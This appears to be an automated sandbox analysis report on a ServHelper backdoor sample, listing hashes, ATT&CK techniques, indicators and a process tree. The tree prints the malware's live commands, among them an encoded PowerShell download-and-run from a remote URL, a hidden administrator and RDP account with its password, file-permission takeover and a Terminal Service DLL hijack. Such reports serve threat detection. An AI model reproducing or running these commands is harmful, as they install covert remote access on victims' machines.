servhelper | fbf79b0e54a606ba74f107e39790bccf1fce6a4f9be65353f97b2a03b43c1c6f

Analysis

max time kernel
148s
max time network
89s
platform
windows7_x64
resource
win7v20201028
submitted
31/03/2021, 08:43

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General

Target

ec52461953bc8f522572c62a76db3299.exe
Size

6.0MB
MD5

ec52461953bc8f522572c62a76db3299
SHA1

6a9f72dca7ea4ca3489544b5f6bb54d214a20dec
SHA256

fbf79b0e54a606ba74f107e39790bccf1fce6a4f9be65353f97b2a03b43c1c6f
SHA512

6c2741a62c86526a1471d43d05d2e7cf6cf48d2653005010320144214eee5632a8e63eced1a82a3a6cba209ff5a1161a5864b49b3cdcb590ac5e2834ea53776d

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	904	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1068	icacls.exe
740	icacls.exe
900	icacls.exe
940	takeown.exe
1568	icacls.exe
1576	icacls.exe
1924	icacls.exe
1752	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130fa-139.dat	upx
behavioral1/files/0x00050000000130fb-140.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1108	Process not Found
1108	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
940	takeown.exe
1568	icacls.exe
1576	icacls.exe
1924	icacls.exe
1752	icacls.exe
1068	icacls.exe
740	icacls.exe
900	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f6db8700-5c7f-4066-8dff-fc004cdf60cb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8f040b00-9230-4c42-aec9-bd2f100463d0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a8efec3c-24e2-436b-8c55-9d12d2fcdba8	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0dbd2d15-07f3-458b-ae70-027696116b0a	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F5B9G8BUVXOEM0C5W1FC.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a4b58b8e-3f09-4207-8122-5badf3768c75	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0245731c-2a60-4a40-a372-d55cd47fc1db	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_16583632-9aa4-4d82-a3b8-b238e0f57d84	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_09c81ec8-f455-4546-8059-000fcc271a3c	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_372da8e8-7fcd-4c70-b8c3-57744626a6e3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a5e1f71e-3b19-420a-89c4-eba2793f8c52	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dccdcf10-b9a3-46e3-bb58-5e93417f5d02	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10575f4e1a26d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
608	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1564	powershell.exe
1564	powershell.exe
912	powershell.exe
912	powershell.exe
1764	powershell.exe
1764	powershell.exe
1708	powershell.exe
1708	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
904	powershell.exe
904	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
468	Process not Found
1108	Process not Found
1108	Process not Found
1108	Process not Found
1108	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeRestorePrivilege	1576	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1544	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1544	WMIC.exe
Token: SeAuditPrivilege	1544	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1544	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1544	WMIC.exe
Token: SeAuditPrivilege	1544	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	740	WMIC.exe
Token: SeAuditPrivilege	740	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	740	WMIC.exe
Token: SeAuditPrivilege	740	WMIC.exe
Token: SeDebugPrivilege	904	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 1564	1084	ec52461953bc8f522572c62a76db3299.exe	29
PID 1084 wrote to memory of 1564	1084	ec52461953bc8f522572c62a76db3299.exe	29
PID 1084 wrote to memory of 1564	1084	ec52461953bc8f522572c62a76db3299.exe	29
PID 1564 wrote to memory of 1728	1564	powershell.exe	31
PID 1564 wrote to memory of 1728	1564	powershell.exe	31
PID 1564 wrote to memory of 1728	1564	powershell.exe	31
PID 1728 wrote to memory of 1760	1728	csc.exe	32
PID 1728 wrote to memory of 1760	1728	csc.exe	32
PID 1728 wrote to memory of 1760	1728	csc.exe	32
PID 1564 wrote to memory of 1740	1564	powershell.exe	33
PID 1564 wrote to memory of 1740	1564	powershell.exe	33
PID 1564 wrote to memory of 1740	1564	powershell.exe	33
PID 1740 wrote to memory of 340	1740	csc.exe	34
PID 1740 wrote to memory of 340	1740	csc.exe	34
PID 1740 wrote to memory of 340	1740	csc.exe	34
PID 1564 wrote to memory of 912	1564	powershell.exe	35
PID 1564 wrote to memory of 912	1564	powershell.exe	35
PID 1564 wrote to memory of 912	1564	powershell.exe	35
PID 1564 wrote to memory of 1764	1564	powershell.exe	37
PID 1564 wrote to memory of 1764	1564	powershell.exe	37
PID 1564 wrote to memory of 1764	1564	powershell.exe	37
PID 1564 wrote to memory of 1708	1564	powershell.exe	39
PID 1564 wrote to memory of 1708	1564	powershell.exe	39
PID 1564 wrote to memory of 1708	1564	powershell.exe	39
PID 1564 wrote to memory of 940	1564	powershell.exe	42
PID 1564 wrote to memory of 940	1564	powershell.exe	42
PID 1564 wrote to memory of 940	1564	powershell.exe	42
PID 1564 wrote to memory of 1568	1564	powershell.exe	43
PID 1564 wrote to memory of 1568	1564	powershell.exe	43
PID 1564 wrote to memory of 1568	1564	powershell.exe	43
PID 1564 wrote to memory of 1576	1564	powershell.exe	44
PID 1564 wrote to memory of 1576	1564	powershell.exe	44
PID 1564 wrote to memory of 1576	1564	powershell.exe	44
PID 1564 wrote to memory of 1924	1564	powershell.exe	45
PID 1564 wrote to memory of 1924	1564	powershell.exe	45
PID 1564 wrote to memory of 1924	1564	powershell.exe	45
PID 1564 wrote to memory of 1752	1564	powershell.exe	46
PID 1564 wrote to memory of 1752	1564	powershell.exe	46
PID 1564 wrote to memory of 1752	1564	powershell.exe	46
PID 1564 wrote to memory of 1068	1564	powershell.exe	47
PID 1564 wrote to memory of 1068	1564	powershell.exe	47
PID 1564 wrote to memory of 1068	1564	powershell.exe	47
PID 1564 wrote to memory of 740	1564	powershell.exe	48
PID 1564 wrote to memory of 740	1564	powershell.exe	48
PID 1564 wrote to memory of 740	1564	powershell.exe	48
PID 1564 wrote to memory of 900	1564	powershell.exe	49
PID 1564 wrote to memory of 900	1564	powershell.exe	49
PID 1564 wrote to memory of 900	1564	powershell.exe	49
PID 1564 wrote to memory of 1384	1564	powershell.exe	50
PID 1564 wrote to memory of 1384	1564	powershell.exe	50
PID 1564 wrote to memory of 1384	1564	powershell.exe	50
PID 1564 wrote to memory of 608	1564	powershell.exe	51
PID 1564 wrote to memory of 608	1564	powershell.exe	51
PID 1564 wrote to memory of 608	1564	powershell.exe	51
PID 1564 wrote to memory of 1096	1564	powershell.exe	52
PID 1564 wrote to memory of 1096	1564	powershell.exe	52
PID 1564 wrote to memory of 1096	1564	powershell.exe	52
PID 1564 wrote to memory of 1992	1564	powershell.exe	53
PID 1564 wrote to memory of 1992	1564	powershell.exe	53
PID 1564 wrote to memory of 1992	1564	powershell.exe	53
PID 1992 wrote to memory of 1720	1992	net.exe	54
PID 1992 wrote to memory of 1720	1992	net.exe	54
PID 1992 wrote to memory of 1720	1992	net.exe	54
PID 1564 wrote to memory of 1840	1564	powershell.exe	55

C:\Users\Admin\AppData\Local\Temp\ec52461953bc8f522572c62a76db3299.exe
"C:\Users\Admin\AppData\Local\Temp\ec52461953bc8f522572c62a76db3299.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wxyekqhr\wxyekqhr.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1728
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES980B.tmp" "c:\Users\Admin\AppData\Local\Temp\wxyekqhr\CSC1ECC5D6CE9DD42F29971BBB7C3BE076.TMP"
      4⤵
      PID:1760
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\smtufg0s\smtufg0s.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1740
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9C7E.tmp" "c:\Users\Admin\AppData\Local\Temp\smtufg0s\CSC8D63EAB6392D439593C3724B6DBB118.TMP"
      4⤵
      PID:340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1708
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:940
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1568
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1576
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1924
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1752
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1068
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:740
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:900
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1384
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:608
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1096
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1992
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1720
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    PID:1840
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:1548
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1488
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1436
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1556
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1848
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1716
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1344
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1068
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:956

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1412
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1640

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc HOcXkj9v /add
1⤵
PID:292
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc HOcXkj9v /add
  2⤵
  PID:384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc HOcXkj9v /add
    3⤵
    PID:1384

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:288
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1992
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:328

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" TUICJFPF$ /ADD
1⤵
PID:1488
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" TUICJFPF$ /ADD
  2⤵
  PID:1512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" TUICJFPF$ /ADD
    3⤵
    PID:1720

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1068
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1624
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1640

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc HOcXkj9v
1⤵
PID:608
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc HOcXkj9v
  2⤵
  PID:292
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc HOcXkj9v
    3⤵
    PID:788

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1760
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1544

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1840
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:740

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:952
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/904-176-0x0000000001290000-0x0000000001291000-memory.dmp

Filesize
4KB

Download
memory/904-170-0x0000000019460000-0x0000000019461000-memory.dmp

Filesize
4KB

Download
memory/904-196-0x00000000194CA000-0x00000000194E9000-memory.dmp

Filesize
124KB

Download
memory/904-194-0x000000001A0C0000-0x000000001A0C1000-memory.dmp

Filesize
4KB

Download
memory/904-186-0x0000000019FF0000-0x0000000019FF1000-memory.dmp

Filesize
4KB

Download
memory/904-179-0x000000001A000000-0x000000001A001000-memory.dmp

Filesize
4KB

Download
memory/904-161-0x000007FEF5DE0000-0x000007FEF67CC000-memory.dmp

Filesize
9.9MB

Download
memory/904-178-0x0000000019FF0000-0x0000000019FF1000-memory.dmp

Filesize
4KB

Download
memory/904-177-0x00000000194A0000-0x00000000194A1000-memory.dmp

Filesize
4KB

Download
memory/904-164-0x00000000194C0000-0x00000000194C2000-memory.dmp

Filesize
8KB

Download
memory/904-165-0x00000000194C4000-0x00000000194C6000-memory.dmp

Filesize
8KB

Download
memory/904-175-0x00000000010F0000-0x00000000010F1000-memory.dmp

Filesize
4KB

Download
memory/912-52-0x000000001AA40000-0x000000001AA41000-memory.dmp

Filesize
4KB

Download
memory/912-46-0x000007FEF5DE0000-0x000007FEF67CC000-memory.dmp

Filesize
9.9MB

Download
memory/912-50-0x000000001AAE0000-0x000000001AAE2000-memory.dmp

Filesize
8KB

Download
memory/912-63-0x000000001BC10000-0x000000001BC11000-memory.dmp

Filesize
4KB

Download
memory/912-57-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/912-76-0x000000001BB70000-0x000000001BB71000-memory.dmp

Filesize
4KB

Download
memory/912-56-0x000000001B620000-0x000000001B621000-memory.dmp

Filesize
4KB

Download
memory/912-77-0x000000001BB80000-0x000000001BB81000-memory.dmp

Filesize
4KB

Download
memory/912-54-0x000000001B700000-0x000000001B701000-memory.dmp

Filesize
4KB

Download
memory/912-51-0x000000001AAE4000-0x000000001AAE6000-memory.dmp

Filesize
8KB

Download
memory/1084-5-0x000007FEF5DE0000-0x000007FEF67CC000-memory.dmp

Filesize
9.9MB

Download
memory/1084-11-0x00000000437E7000-0x00000000437E8000-memory.dmp

Filesize
4KB

Download
memory/1084-2-0x0000000000400000-0x0000000000A5B000-memory.dmp

Filesize
6.4MB

Download
memory/1084-10-0x00000000437E6000-0x00000000437E7000-memory.dmp

Filesize
4KB

Download
memory/1084-3-0x0000000000400000-0x0000000000A5B000-memory.dmp

Filesize
6.4MB

Download
memory/1084-4-0x0000000000400000-0x0000000000A5B000-memory.dmp

Filesize
6.4MB

Download
memory/1084-8-0x00000000437E2000-0x00000000437E4000-memory.dmp

Filesize
8KB

Download
memory/1084-6-0x0000000043E90000-0x00000000442B1000-memory.dmp

Filesize
4.1MB

Download
memory/1084-9-0x00000000437E4000-0x00000000437E6000-memory.dmp

Filesize
8KB

Download
memory/1564-20-0x0000000002680000-0x0000000002681000-memory.dmp

Filesize
4KB

Download
memory/1564-42-0x000000001C220000-0x000000001C221000-memory.dmp

Filesize
4KB

Download
memory/1564-13-0x000007FEFC2F1000-0x000007FEFC2F3000-memory.dmp

Filesize
8KB

Download
memory/1564-40-0x000000001B500000-0x000000001B501000-memory.dmp

Filesize
4KB

Download
memory/1564-19-0x000000001AA74000-0x000000001AA76000-memory.dmp

Filesize
8KB

Download
memory/1564-17-0x0000000002650000-0x0000000002651000-memory.dmp

Filesize
4KB

Download
memory/1564-16-0x000000001AAF0000-0x000000001AAF1000-memory.dmp

Filesize
4KB

Download
memory/1564-15-0x00000000023E0000-0x00000000023E1000-memory.dmp

Filesize
4KB

Download
memory/1564-41-0x000000001B7F0000-0x000000001B7F1000-memory.dmp

Filesize
4KB

Download
memory/1564-116-0x000000001C740000-0x000000001C741000-memory.dmp

Filesize
4KB

Download
memory/1564-30-0x0000000002350000-0x0000000002351000-memory.dmp

Filesize
4KB

Download
memory/1564-58-0x000000001AA7A000-0x000000001AA99000-memory.dmp

Filesize
124KB

Download
memory/1564-39-0x00000000024A0000-0x00000000024A1000-memory.dmp

Filesize
4KB

Download
memory/1564-18-0x000000001AA70000-0x000000001AA72000-memory.dmp

Filesize
8KB

Download
memory/1564-22-0x000000001B720000-0x000000001B721000-memory.dmp

Filesize
4KB

Download
memory/1564-14-0x000007FEF5DE0000-0x000007FEF67CC000-memory.dmp

Filesize
9.9MB

Download
memory/1708-108-0x000000001AC60000-0x000000001AC62000-memory.dmp

Filesize
8KB

Download
memory/1708-109-0x000000001AC64000-0x000000001AC66000-memory.dmp

Filesize
8KB

Download
memory/1708-104-0x000007FEF5DE0000-0x000007FEF67CC000-memory.dmp

Filesize
9.9MB

Download
memory/1764-86-0x000000001AE34000-0x000000001AE36000-memory.dmp

Filesize
8KB

Download
memory/1764-81-0x000007FEF5DE0000-0x000007FEF67CC000-memory.dmp

Filesize
9.9MB

Download
memory/1764-85-0x000000001AE30000-0x000000001AE32000-memory.dmp

Filesize
8KB

Download
memory/1764-87-0x0000000002000000-0x0000000002001000-memory.dmp

Filesize
4KB

Download
memory/1764-92-0x0000000002480000-0x0000000002481000-memory.dmp

Filesize
4KB

Download
memory/1764-89-0x000000001AD80000-0x000000001AD81000-memory.dmp

Filesize
4KB

Download
memory/1764-91-0x000000001B760000-0x000000001B761000-memory.dmp

Filesize
4KB

Download